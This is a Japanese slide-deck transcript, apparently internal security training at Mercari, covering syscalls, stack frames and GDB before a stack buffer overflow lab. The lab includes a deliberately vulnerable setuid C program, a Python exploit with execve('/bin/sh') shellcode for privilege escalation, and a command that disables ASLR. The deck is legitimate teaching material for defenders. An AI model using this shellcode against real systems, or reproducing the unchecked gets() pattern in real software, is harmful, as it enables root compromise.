$30 off During Our Annual Pro Sale. View Details »

Exploitation Fundamentals - Japanese

Exploitation Fundamentals - Japanese

* PDFでの閲覧推奨
コンピュータがどのように動いているのか、なぜバッファオーバーフローなどの脆弱性攻撃が成立するのかなどについて、具体的にデバッガ(gdb)で追いながら内容を理解しようという、社内向けトレーニングの資料です。
Repository: https://github.com/rung/training-exploit-fundamentals

Hiroki Suezawa (@rung)

January 22, 2020
Tweet

More Decks by Hiroki Suezawa (@rung)

Other Decks in Technology

Transcript

  1. Exploitation Fundamentals
    2020 Jan 22th
    @rung - Mercari Security Team
    日本語(Japanese)
    Github Repository: https://github.com/rung/training-exploit-fundamentals

    View Slide

  2. ● Name
    ○ Hiroki Suezawa (@rung)
    ● Title
    ○ Security Engineer at Mercari, Inc.
    ○ 最近はSysdig Falcoやgosecプロジェクトへの
    Contributeを始めました!
    ○ TLSなどのプロトコルが好きです
    ● Hobby
    ○ 紅茶 (Black Tea)
    ■ ルフナ・ダージリン1st Flush・ニルギリ

    View Slide

  3. Caution
    ● 本資料で学んだことを、悪用しないでください。
    ● セキュリティや低レイヤに興味のあるSoftware Engineerを対象に資料を作成し
    ています。
    ● 本資料にはCのコードやPythonのコード、アセンブリ言語が出てきますが、特に
    各言語に詳しい必要はありません。

    View Slide

  4. Prepareration
    ● Docker
    ○ MacおよびLinux(Ubuntu18.04, VM上でもOK)で検証済みです。
    ○ ネットワークの負荷削減のため、事前に Docker imageをpullしておいてください
    ● IDA Pro Free
    ○ Download: https://www.hex-rays.com/products/ida/support/download_freeware.shtml
    docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 &&
    docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3

    View Slide

  5. Cheat sheet
    ● Assembly cheatsheet
    ○ NASM Intel x86 Assembly Language Cheat Sheet
    ○ * We use x64(x86-64) but basically same
    ● CPU Registers cheatsheet
    ○ 本スライドでの解説
    ● GDB cheatsheet
    ○ 本スライドでの解説
    ○ GDB Quick Reference
    ● ASCII code sheet
    ○ ascii (man)

    View Slide

  6. Introduction

    View Slide

  7. Introduction
    Security is fun
    ● 本セッションの目的
    ○ コンピュータがどのように動いているか、セキュリティを通して理解を深める
    ■ コンピュータの基本は変わっていないため、低レイヤの知識は長持ちすることも多い
    ■ 本資料の内容の主な説明内容は、セキュリティというよりコンピュータの話でもある
    ○ アプリケーションの脆弱性がどのように攻撃されるのかの理解を深める
    ○ Security is fun! 攻撃を学ぶことで、防御をどのように行うかを考えることが出来る
    ● 対象
    ○ セキュリティや低レイヤに興味のあるソフトウェアエンジニア
    ● 理解について
    ○ 本セッションには一回で理解するのが難しい内容も含まれています
    ■ 興味を持った方が復習できることを想定して資料を作っています
    ■ 低レイヤに馴染みのない方は、まずは雰囲気を掴むところからで大丈夫です
    ■ 少しずつExercise 2 (Stack Buffer Overflow)やExercise 3 (Advanced)で何が起きたかを
    一つ一つ確認していってください
    ■ 一部のDemo動画では何が起きているかを説明するための画像も付けています

    View Slide

  8. Introduction
    進め方
    ● 説明する攻撃について
    ○ 実行されているプロセスの制御を奪って、攻撃コードを実行させます。
    ● 進め方
    ○ 1. Introduction
    ■ 最初に、前提となるコンピュータの動きについての説明をします。デバッガを使って、コン
    ピュータが実行する命令を追っていきます
    ○ 2. Stack Buffer Overflow
    ■ 実際の攻撃の理解に入っていきます。用意された攻撃コードを追っていきます。
    ○ 3. Advanced
    ■ 現代のLinuxがどのような攻撃Mitigation技術を備えているかを説明します。
    ■ 脆弱なGoコードを、用意された攻撃コードを用いて攻撃します。
    ● 演習について
    ○ まずはrungが前でやります。
    ○ そのあと、みなさんが同じことをローカルで試す時間をとります

    View Slide

  9. Introduction
    Environment
    ● Linux x64 (64bit)
    ○ このセッションで学ぶ内容は全て Linuxに関するものです
    ○ Docker for Mac経由で利用 ※Docker for Windowsも検証はしていないが動くはず
    ● 演習・デモ環境用Githubレポジトリ
    ○ rung/training-exploit-fundamentals
    ○ 本資料に記載の全コマンドは、 Docker上で試せるようになっています。
    ■ Example 1: Hello World!
    ■ Exercise 1: Function Call
    ■ Exercise 2: Stack Buffer Overflow
    ■ Exercise 3: Advanced (ROP)

    View Slide

  10. Introduction
    (Reference) Environment
    ● Architecture of Docker for Mac
    ○ Mac上にVMが立っており、Linuxカーネルが動いている。
    ○ コンテナはLinuxカーネルとやりとりをする
    Mac
    VM/Hypervisor
    Linux Kernel
    Container1 Container2
    Container3
    ...

    View Slide

  11. Introduction
    攻撃の種類
    ● サイバーセキュリティの攻撃の流れ
    ○ 侵入→権限昇格→偵察→横展開→情報窃取
    ○ 参考: MITRE ATT&CK Freamwork
    ○ ツールを用いて既知の脆弱性を攻撃されることも多い (Metasploit、Exploit Kit)
    ● 本資料ではStack Buffer Overflow脆弱性を利用して、プログラムの制御を奪い
    任意コード実行を行う
    ○ 任意コード実行は、初期の侵入を始めとして、攻撃の各ステージで利用される。
    ○ 利用用途例
    ■ 権限昇格 (本セッションの対象)
    ● Setuidなどで高権限を持っているバイナリを攻撃。 rootに権限昇格する
    ■ リモートコード実行
    ● リモート経由で攻撃。接続先のサーバのシェルを操作する
    Company / Cloud

    View Slide

  12. 1. Computer Systems

    View Slide

  13. Computer Systems
    ● 本セッションで紹介する攻撃の理解のためには、コンピュータの動作についての
    理解が必須となります。
    ● 1章では、関連するコンピュータの動作について説明していきます。

    View Slide

  14. Computer Systems
    What OS does
    ● コンピュータは入出力デバイス (I/O Device)、ネットワークアダプタなどを通して人やネットワークと
    interactiveにやりとりを行う
    ● OSは各デバイスに固有の処理を吸収し、 Applicationに共通インターフェースを提供する
    Computer
    CPU Memory
    External Device
    I/O Device Storage Device Network
    OS
    (Linux
    Kernel)
    Application
    Network Adapter A
    Storage Device A
    Storage Device B
    Keyboard
    Standard interface Device driver

    View Slide

  15. Computer Systems
    What OS does
    Resource Management
    ● 複数のプロセスがOS上で稼働できるようスケジューラやメモリ管理機能を備えている
    OS
    (Linux
    Kernel)
    Application Process1
    Application Process2
    Application Process3
    Application Process3
    Scheduling
    Memory Management

    View Slide

  16. Computer Systems
    System call (Syscall)
    Standard Interface (System call)
    ● OSは、システムコールという共通インターフェースを備えており、ユーザランドの各アプリケーションは
    システムコールを介してカーネルの機能 (プロセス生成・メモリ確保・ネットワーク通信・ファイル操作な
    ど)を実施する
    ○ アプリケーションは、プロセス管理やタスクスケジュール、ファイルシステム、各デバイスの詳細
    を気にせずに利用することが出来る
    OS (Linux Kernel)
    Process A
    libc (standard library)
    System Call
    Hardware
    User land
    (ユーザーランド)
    Kernel

    View Slide

  17. Computer Systems
    System call (Syscall)
    ● Linuxには300を超えるシステムコールがある (一覧)
    ○ プロセスの起動: fork() -> execve()
    ○ ネットワーク通信: socket() -> connect()
    ○ ファイルの読み込み : open() -> read()
    ● 本セッションの攻撃で利用するシステムコール
    ○ read 標準入力・ファイル・ネットワーク通信などを読み込むシステムコール
    ■ read(int fd, void *buf, size_t count);
    ● fd = file descripter
    ● *buf = 読み込む先のポインタ(メモリアドレス)
    ● count = 読み込むサイズ
    ○ execve 実行ファイルを実行するシステムコール
    ■ int execve(const char *pathname, char *const argv[], char *const envp[]);
    ● *pathname = ファイルパス
    ● argv[] = 実行時のオプション
    ● envp[] = 環境変数

    View Slide

  18. Computer Systems
    System call (Syscall) - libc
    ● System Callを呼び出すためのライブラリをOSは用意している
    ○ デファクトスタンダードは Glibc (GNU Libc)
    ■ C言語を書くときに使う . C, C++, Perl, Python, Rubyなどほとんど全ての言語で最終的に
    呼び出されている
    ○ libcはSystem Callを呼び出すためのラッパー関数を用意している (man)
    ■ long syscall(long number, ...);
    ● number = システムコール番号
    ○ その他libcの例
    ■ stdio.h (printf)、socket.h(socket)などを始めとした主要ライブラリ群
    ■ こういった主要ライブラリ群も、最終的には syscall関数を呼び出してカーネルとやりとりし
    ている
    ● システムコールが呼ばれたらカーネルモードに遷移、処理が終わったらユーザランドに戻ってくる
    Syscall
    Process
    Return
    Kernel
    Process User Mode
    Kernel Mode

    View Slide

  19. Computer Systems
    [Demo] Hello Worldからシステムコールの呼び出しをみる
    ● Syscallラッパー関数を直接呼び出しするコード
    ○ docker run --rm -it suezawa/exploit-example1 bash
    ■ コード本体
    ● write system call
    ○ ssize_t write(int fd, const void *buf, size_t count);
    ■ fd = file descriptor, 1は標準出力
    ■ buf = 文字列へのポインタ
    ■ count = サイズ len(“Hello, world!”)
    ○ ※printf関数も、最終的にwrite syscallを呼び出している
    #include
    int main() {
    syscall(SYS_write, 1, "Hello World!\n", 14);
    return 0;
    } SYS_write = 1 Hello World!\n\0
    (\0 is a null character)

    View Slide

  20. Computer Systems
    [Demo] Hello Worldからシステムコールの呼び出しをみる
    ● Run
    ● strace: System Call呼び出しを確認できるコマンド
    ○ 全システムコールの確認
    ○ writeシステムコールのみ確認
    $ docker run --rm -it suezawa/exploit-example1 bash
    root@d267406bb2b6:/home/appuser# ./hello
    Hello World!
    root@d267406bb2b6:/home/appuser# strace ./hello
    root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello
    write(1, "Hello World!\n\0", 14Hello World!
    ) = 14
    +++ exited with 0 +++

    View Slide

  21. Computer Systems
    [Demo] Hello Worldからシステムコールの呼び出しをみる
    root@42fdb5c98a68:/home/appuser# strace ./hello
    execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0
    brk(NULL) = 0x1639000
    access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
    access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0
    mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000
    close(3) = 0
    access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
    read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
    fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000
    mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000
    mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0
    mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000
    mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000
    close(3) = 0
    arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0
    mprotect(0x7f183e20d000, 16384, PROT_READ) = 0
    mprotect(0x600000, 4096, PROT_READ) = 0
    mprotect(0x7f183e43e000, 4096, PROT_READ) = 0
    munmap(0x7f183e438000, 21467) = 0
    write(1, "Hello World!\n\0", 14Hello World!
    ) = 14
    exit_group(0) = ?
    +++ exited with 0 +++
    root@42fdb5c98a68:/home/appuser#

    View Slide

  22. Computer Systems
    CPU
    ● CPUアーキテクチャ
    ○ CPUアーキテクチャごとに、独自の 命令セットを持っている
    ■ Intel x86、x64(x86-64)、ARM、RISC
    ○ 現在サーバで最も使用されている Intelのx64 (x86-64)アーキテクチャを本セッションでは扱う

    View Slide

  23. ● レジスタ
    ○ CPUの内蔵する記憶装置
    ○ 各レジスタのサイズは 64bit (8byte)
    ● 記憶領域 (詳細な動きはあとで見ていきます )
    ○ RIP: インストラクションポインタ。
    現在実行している命令のアドレスを指す
    ○ RSP: スタックポインタ。スタックのトップの
    アドレスを指している
    ○ RBP: ベースポインタ。スタックフレームの
    開始アドレスを指している
    ○ その他 (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15)
    ■ 今回は値を保存する領域とだけ認識
    Computer Systems
    CPU
    Ref: “Introduction to x64 Assembly” Intel
    Memory
    machine
    code
    010101010
    111101101
    010101010
    Address
    (Instraction Pointer
    Program Counter)
    RIP
    Memory (Stack)
    Stack for
    function1()
    Stack Pointer
    Stack for
    main()
    RSP
    RBP
    Base Pointer

    View Slide

  24. Computer Systems
    CPU
    ● 機械語 (Machine Code)
    ○ CPUは、メモリ上の機械語で書かれた命令を実行していく
    ● アセンブリ言語 (Assembly Language)
    ○ 機械語を人間が扱うのは厳しいので、機械語を人間にわかりやすい形で記述するための言語
    が用意されている
    ○ アセンブル (Assemble)
    ■ アセンブリ→機械語変換
    ○ ディスアセンブル (Disassemble)
    ■ 機械語→アセンブリ変換
    Memory
    machine code
    010101010111101101
    010101010101101010
    101011011010101010
    101101010111010010
    110101010101
    Execution

    View Slide

  25. Computer Systems
    CPU
    ● 主要なAssembly
    ○ 記法が二種類ある(AT&T記法、Intel記法)。今回はIntel記法を扱う
    ○ Ref: NASM Intel x86 Assembly Language Cheat Sheet
    ■ x64(x86-64, 64bit)でなくIntel x86(32bit)時のチートシートだが基本は同じ
    xor A, B AとBをxorする。Aに結果が入る
    mov A, B BをAに移す
    add/sub A, B Aの値にBを足す/Aの値からBを引く
    push/pop A Aの値をスタック(メモリ上)にpushする/スタックから値をpopする
    call [memory address] 別関数にジャンプする + 戻りアドレスをスタックにpushする ※関数に入るときに使う
    leave スタックをrbpと同じアドレスに戻す + pop rbpする (mov esp, ebp ; pop ebp)
    ret スタックの一番上に詰まれている値(RSP)にジャンプする + スタックの一番上の値をpopする
    ※元の関数に戻るときに使う
    syscall システムコールを呼び出す

    View Slide

  26. Computer Systems
    [Demo] Let’s see aseembly
    int main() {
    syscall(SYS_write, 1, "Hello World!\n", 14);
    return 0;
    }
    $ docker run --rm -it suezawa/exploit-example1 bash
    root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 ":"
    00000000004004c2 :
    main():
    4004c2: 55 push rbp
    4004c3: 48 89 e5 mov rbp,rsp
    4004c6: b9 0e 00 00 00 mov ecx,0xe
    4004cb: ba 74 05 40 00 mov edx,0x400574
    4004d0: be 01 00 00 00 mov esi,0x1
    4004d5: bf 01 00 00 00 mov edi,0x1
    4004da: b8 00 00 00 00 mov eax,0x0
    4004df: e8 fc fe ff ff call 4003e0
    4004e4: b8 00 00 00 00 mov eax,0x0
    4004e9: 5d pop rbp
    4004ea: c3 ret

    View Slide

  27. Computer Systems
    Executable file
    ● Linuxの実行ファイルはELF形式
    root@cbe820491a8f:/home/appuser# file hello.s
    hello.s: assembler source, ASCII text
    root@cbe820491a8f:/home/appuser# file hello.o
    hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped
    root@cbe820491a8f:/home/appuser# file hello
    hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for
    GNU/Linux 2.6.32, not stripped
    Assembly Code
    .main
    push rbp
    mov rbp, rsp
    mov ecx, 14
    mov esi, 1
    ….
    Assemble
    Source Code
    #include
    int main() {
    syscall(SYS_write, 1,
    "Hello World!\n", 14);
    return 0;
    }
    Compile
    Object file
    Machine code
    01010101001010111010
    1100101010101010010
    ELF file
    (Executable)
    Link
    Machine code
    01010101001010111010
    1100101010101010010
    Memory Info
    library info
    gcc -v -c hello.s -o hello.o
    Assembler: as (gcc is wrapper)
    gcc -v hello.o -o hello
    Linker: ld (gcc is wrapper)
    gcc -v -S hello.c -masm=intel -o hello.s
    C Compiler: cc1
    ● コンパイルの流れ

    View Slide

  28. Computer Systems
    Executable file
    ● Dynamic Link and Static Link
    ○ Dynamic Link (動的リンク)
    ■ 共有ライブラリ(Shared Library)を別ファイルとしており実行
    時に併せてロード.
    ■ lddコマンドでリンクしているライブラリを表示できる
    ○ Static Link (静的リンク)
    ■ 共有ライブラリの実行コードを、実行ファイルに含める
    ELF file
    (Executable)
    Machine code
    01010101001010111010
    1100101010101010010
    Memory Info
    library info
    libc.so
    root@86be50368e20:/home/appuser# ldd hello
    linux-vdso.so.1 (0x00007ffdbc983000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000)
    root@1e862b573a86:/home/appuser# ldd static_hello
    not a dynamic executable
    ELF file
    (Executable)
    Machine code (main)
    01010101001010111010
    1100101010101010010
    Memory Info
    Machine code (libc)
    01010101001010111010
    1100101010101010010
    Dynamic Link
    Static Link

    View Slide

  29. Computer Systems
    Program Execution
    ● プログラムの実行
    ○ execve("./hello", ["./hello"], 0x7ffdaccda970)
    ● ローダー
    ○ Linux Kernelが実行ファイルをメモリ上に
    展開
    ○ x64の機械語(Machine Code)を最初から
    実行
    ■ Dynamic Linkで実行ファイルと共有
    ライブラリが分かれている場合で
    も、実行時には共有ライブラリの内
    容がメモリ上に読み込まれる
    Linux
    Kernel
    ELF executable
    Load
    0xffffffffffffffff
    0x00
    Virtual Memory (仮想メモリ)
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    libc 010010011010100101
    .data Segment
    * Only major segments included

    View Slide

  30. Computer Systems
    Physical Memory/Virtual Memory
    ● 仮想メモリ (Virtual Memory)
    ○ CPUは仮想メモリという仕組みを持っている。
    ○ 各プロセスは実際の物理アドレスを扱わず、仮想メモリのみ扱う
    ■ 複数のプロセスが同じメモリアドレスを使うことが出来る
    ○ Kernalはページテーブルを管理しており、仮想アドレスと物理アドレスの対応付けを行っている
    ○ CPUは仮想メモリと物理メモリを変換する仕組みを持っている (MMU)
    Linux
    Kernel
    Virtual Memory Physical Memory
    0-100 700-800
    100-200 200-300
    200-300 400-500
    Page table
    Process A Process B Process C
    Manage

    View Slide

  31. Computer Systems
    Physical Memory/Virtual Memory
    Process B
    RIP (instruction pointer) RIP (instruction pointer)
    ※GDBでメモリを確認する
    仮想メモリを利用しているので、別プロセスにも関わらず、同じメモリアドレスを利用できる。
    RIP(現在実行している命令)が同じアドレスを指せる ※同じアドレスでも、入っている内容は異なる
    Process A

    View Slide

  32. Computer Systems
    Memory Layout
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    0xffffffffffffffff
    0x00
    main() 0101010101
    libc 010010011010100101
    CPUが実行していく機械語(Machine Code)が入っている。
    実行している命令のアドレスはRIP(Instraction Pointer)レジス
    タに入る。
    Stack領域。高いアドレスから低いアドレスに伸びていく。
    次ページで詳細を解説
    今回主に使うのはtext領域とStack領域
    malloc()で確保していく動的な領域
    初期値なしのstatic変数・グローバル変数用領域
    初期値ありのstatic変数・グローバル変数
    * Only major segments included
    参考: Data Segment (Wikipedia)
    .data Segment
    定数(const)、文字列

    View Slide

  33. Computer Systems
    [Exercise] What we will do
    ● Exercise1では攻撃はせずに、どのように関数が実行されていくかを理解します
    ○ 学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後に ret命令
    により元の関数にリターンすること
    ○ Exercise 1が理解できたら、次の Chapterで説明する攻撃を理解することができます
    ● 使用するコード
    ○ func_call.c
    ■ main()
    ● function1()
    ○ function2()の順で関数を呼び出しています
    # ./func_call
    Hello
    function1: arg1:Hello,arg2:1,var1:10
    function2: arg1:Hello,arg2:2,var1:test,var2:20

    View Slide

  34. Computer Systems
    [Exercise] Stack Frame
    ● 関数呼び出し - function1()の場合
    ○ main()でcall *function1 命令が呼ばれる
    ■ 関数の引数はarg6までレジスタ経由で渡す
    ○ call命令が呼ばれた際、あとで戻ってくるアドレスが
    Stackに詰まれる
    ○ RBPの値をスタックに詰み (push rbp)、
    RBPにスタックの先頭アドレスを入れる
    (mov rbp, rsp)
    ○ ローカル変数などのために、スタック領域
    を広げる(sub rsp, 0x20)
    ● 関数終了時 - function1()
    ○ スタック領域を戻す (leave)
    ○ 元のアドレスに戻る(ret)
    ■ ret == pop rip
    Stack Segment ↑
    High Address
    Virtual Memory (仮想メモリ)
    Low Address
    Return Address
    Local Variables
    main()
    Return Address
    Local Variables
    function1()
    参考: System V AMD64 ABI
    Saved RBP
    Saved RBP (main())
    function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8);
    RDI RSI RDX RCX R8 R9 Use stack
    RSP
    RBP

    View Slide

  35. Computer Systems
    [Exercise] Demo
    ● 今回演習で実施する内容のデモをします
    ○ 学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後にリターン
    すること
    ● やること
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1
    ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash

    View Slide

  36. Computer Systems
    [Exercise] Demo
    ● func_call.c
    #include
    #include
    void function2(char *arg1, int arg2) {
    char var1[5];
    strcpy(var1, "test");
    int var2 = 20;
    printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2);
    return;
    }
    void function1(char *arg1, int arg2) {
    int var1 = 10;
    printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1);
    function2(arg1, 2);
    return;
    }
    int main() {
    printf("%s", "Hello\n");
    function1("Hello", 1);
    return 0;
    }

    View Slide

  37. Computer Systems
    GDB Tutorial
    ● GDB (GDB Quick Reference)
    レジスタ
    機械語の
    Disassemble
    スタック(RSP)
    に詰まれている値
    ソースコード(Exercise1のみ)
    ※実行ファイルにデバッグ情報が含まれている場合に表示
    start main()にbreakpointをsetし
    て起動
    run (r) 起動
    continue (c) 実行を進める.breakpointが
    あると止まる
    break(b) * breakpointをset
    nexti (ni) 1命令進める. call命令で別
    functionに飛ばない
    stepi (si) 1命令進める. call命令で別
    functionに飛ぶ
    起動時
    gdb GDB起動
    GDB内

    View Slide

  38. Computer Systems
    [Exercise] Demo
    Link
    GDB with Stack Layout Image

    View Slide

  39. Computer Systems
    [Exercise] 関数呼び出しを追う
    ● やること
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1
    ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash
    ● 仮想メモリをイメージしながらGDBで命令を実行してください
    ○ 1. 用意された自動スクリプトで実行
    ■ gdb func_call -x gdb-autocommand
    ○ 2. ManualでGDBを実行
    ■ gdb func_call

    View Slide

  40. 2. Stack Buffer Overflow

    View Slide

  41. Stack Buffer Overflow
    Demo
    ● 今回演習で使用する攻撃のデモをします
    ○ 何が起きているかをいま理解する必要はありません
    ● 攻撃の実施手順
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2
    ○ docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash
    ● 今回の攻撃
    ○ Stack Buffer Overflow脆弱性を突いた攻撃
    ○ setuidされているbofバイナリの制御を奪い、通常ユーザから rootに昇格してシェルを実行
    ■ setuid: バイナリの所有者の権限で実行
    # ls -l bof
    -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof
    # (setuid)

    View Slide

  42. Stack Buffer Overflow
    Demo - Attacking using exploit_print.py
    Link

    View Slide

  43. Stack Buffer Overflow
    What is Stack Buffer Overflow
    ● 脆弱性の原因
    ○ C言語のgets, strcpy, scanf関数
    ■ メモリに何byteまで書き込んでいいか確認せずに
    書き込む
    ■ ローカル変数を超えた箇所にユーザからの入力
    を書いてしまう
    ■ 関数の最後の”ret命令”で呼び出されるreturn
    addressを上書くことが出来てしまう
    ● → プログラムの制御(RIP)が奪われる
    Stack Segment ↑
    High Address
    Virtual Memory (仮想メモリ)
    Low Address
    Return Address
    Local Variables
    char buf[100] (100byte)
    Saved RBP
    main()
    gets(), strcpy(), scanf()
    Write 200byte
    Payload
    (Shellcode)

    View Slide

  44. Stack Buffer Overflow
    How to attack
    ● 今回攻撃するコード
    ○ 100byteしか確保していないbuf配列に、大量の文字列を読み込めるようになっている
    ■ gets(buf) = 標準入力をbuf配列に格納する
    ● 大量の文字列を入力した場合の動作を確認
    ○ → Return先のアドレスに、攻撃コードを仕込むと制御を奪える
    #include
    int main()
    {
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
    }
    # python -c "print ('A'*200)" | ./bof
    buf = 0x7fffffffe610
    AAAAAAAAAAAAAAAA…..
    Segmentation fault
    root@b1df66264e7e:/home/appuser#

    View Slide

  45. Stack Buffer Overflow
    How to attack
    ● How to attack
    ○ gets(buf)での標準入力の読み込みに、攻
    撃コードを送り込む
    ○ returnポインタを攻撃コードのアドレスに飛
    ばす
    ■ 今回は簡単に攻撃するために、 buf
    のアドレスを表示させている
    Stack Segment ↑
    High Address
    Low Address
    Return Address
    Local Variables
    char buf[100] (100byte)
    Shellcode (Payload) in
    Machine Code
    AAAAAAAAAAAAAAAAAA
    Shellcode Address
    $ ./bof
    buf = 0x7fffffffe610

    View Slide

  46. Stack Buffer Overflow
    Exploit
    #!/usr/bin/python
    import ...
    # Write value of 'buf = '
    buf_addr = int(sys.argv[1], 16)
    # offset from buf: 120
    # shellcode = 60 byte
    # dummy = 60 byte('A')
    shellcode =
    '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x4
    8\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05'
    shellcode += 'A' * 60
    # return address
    shellcode += struct.pack('print(shellcode)
    sys.stdout.flush()
    # if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip)
    while True:
    print(sys.stdin.readline())
    sys.stdout.flush()
    exploit_print.py
    Adjust stack
    Overwrite Return pointer
    struct.pack(‘Shellcode

    View Slide

  47. Stack Buffer Overflow
    Shellcode
    ● 攻撃コード (今回のソースコード)
    ○ シェルを呼び出すことが目的であることが多いため、「 Shellcode」と呼ばれる
    ● Shellcodeでやりたいこと
    ○ syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0) を呼び出す
    ■ このシステムコールを呼び出すと、今回攻撃する ”bof”が、/bin/shに変更される
    ○ Syscallの呼び出し方
    ■ Syscall番号と引数をレジスタに setして、”syscall”命令を呼ぶ
    ■ Ref: Interfacing_with_Linux
    ○ 今回は、下記の状態で ”syscall”命令を呼ぶ
    rax rdi rsi rdx
    59
    (SYS_execve)
    “/bin/sh”
    (pointer)
    [“/bin/sh”, “-p”]
    (pointer)
    0
    (NULL)

    View Slide

  48. Stack Buffer Overflow
    Shellcode
    ● syscallが呼ばれる際のStack・レジス
    タの状態
    rax rdi rsi rdx
    59 (0x3b)
    (SYS_execve)
    “/bin/sh”
    (pointer)
    [“/bin/sh”, “-p”]
    (pointer)
    0
    (NULL)
    Registers
    Stack
    pointer of “/bin/sh”
    pointer of “-p”
    null pointer (\0\0\0\0\0\0\0\0)
    array
    ‘-p\0\0\0\0\0\0’
    ‘/bin/sh\0’
    64bit

    View Slide

  49. Stack Buffer Overflow
    Exercise - GDB Demo
    Link

    View Slide

  50. Stack Buffer Overflow
    Exercise
    ● 実践
    ○ 下記資料に沿ってやってみてください . 最初に必ずASLRの無効化をしてください
    ■ ASLRについては次の章で説明します
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2
    ● gdbを用いた理解 (次ページにVideoもあり)
    ○ gdb bof -x gdb-autocommand
    ○ 下記に注目してください
    ■ リターンポインタが上書きされた後、 ret命令で攻撃コードに制御が移るところ
    ■ 攻撃コードによりsyscall命令(execveシステムコール)が呼び出されるところ
    ● 注: 演習後、ASLRの再有効化を忘れないでください
    ○ Kernelの設定であり、その他の起動している Docker imageにも影響を与えます
    # sysctl -w kernel.randomize_va_space=2
    kernel.randomize_va_space = 2
    # sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0

    View Slide

  51. 3. Advanced

    View Slide

  52. Advanced
    Overview
    ● Chapter3: Advanced
    ○ 脆弱性のMitigation技術の紹介と、一部の Mitigationを回避する攻撃手法を紹介する
    ● 任意コード実行を防ぐための取り組み
    ○ 現代では、Linuxおよびコンパイラ側で攻撃への Mitigation技術を持っている
    ○ 攻撃と防御のいたちごっこをしながら改善されている
    ○ ※Stack Buffer Overflowの演習では、全ての Mitigationを無効にしたバイナリを使用した
    ● History
    ○ OS・コンパイラ
    ■ 2000年代前半 - Mitigationの開発、普及 (本Chapterで紹介)
    ● ASLR, SSP, NX bitなど...
    ● 徐々にOSおよび実行ファイルに普及
    ● 攻撃研究者/攻撃者が各Mitigation技術の持つ弱点を使って攻撃手法を開発
    ○ 本Chapterで用いるROPという攻撃手法は2010年代初頭に普及
    ○ 脆弱性発見技術の向上
    ■ Fuzzing技術向上: American fuzzy lop Fuzzer (2013-)
    ● Softwareに潜む大量のメモリ破壊バグの発見

    View Slide

  53. Advanced
    Mitigation
    ● 主なMitigation技術 (次ページから詳細説明)
    ○ NX bit (DEP): 実行可能なセグメントを限定
    ○ ASLR (Address Space Layout Randomization): メモリアドレスのランダム化
    ○ PIE (Position-Independent Code): 実行コードのメモリアドレスランダム化
    ○ SSP (Stack Smashing Protection, Stack Canary): リターンポインタの上書き検知
    ○ その他のMitigation技術の例 (今回は詳細スキップ )
    ■ RELRO (RELocation Read-Only): メモリのRead-only化
    ■ FORTIFY_SOURCE: 危険な関数を別の関数に置き換え、動的にメモリ破壊をチェック
    ● 各Mitigationが有効になっているか確認するツール
    ○ checksec (解説)
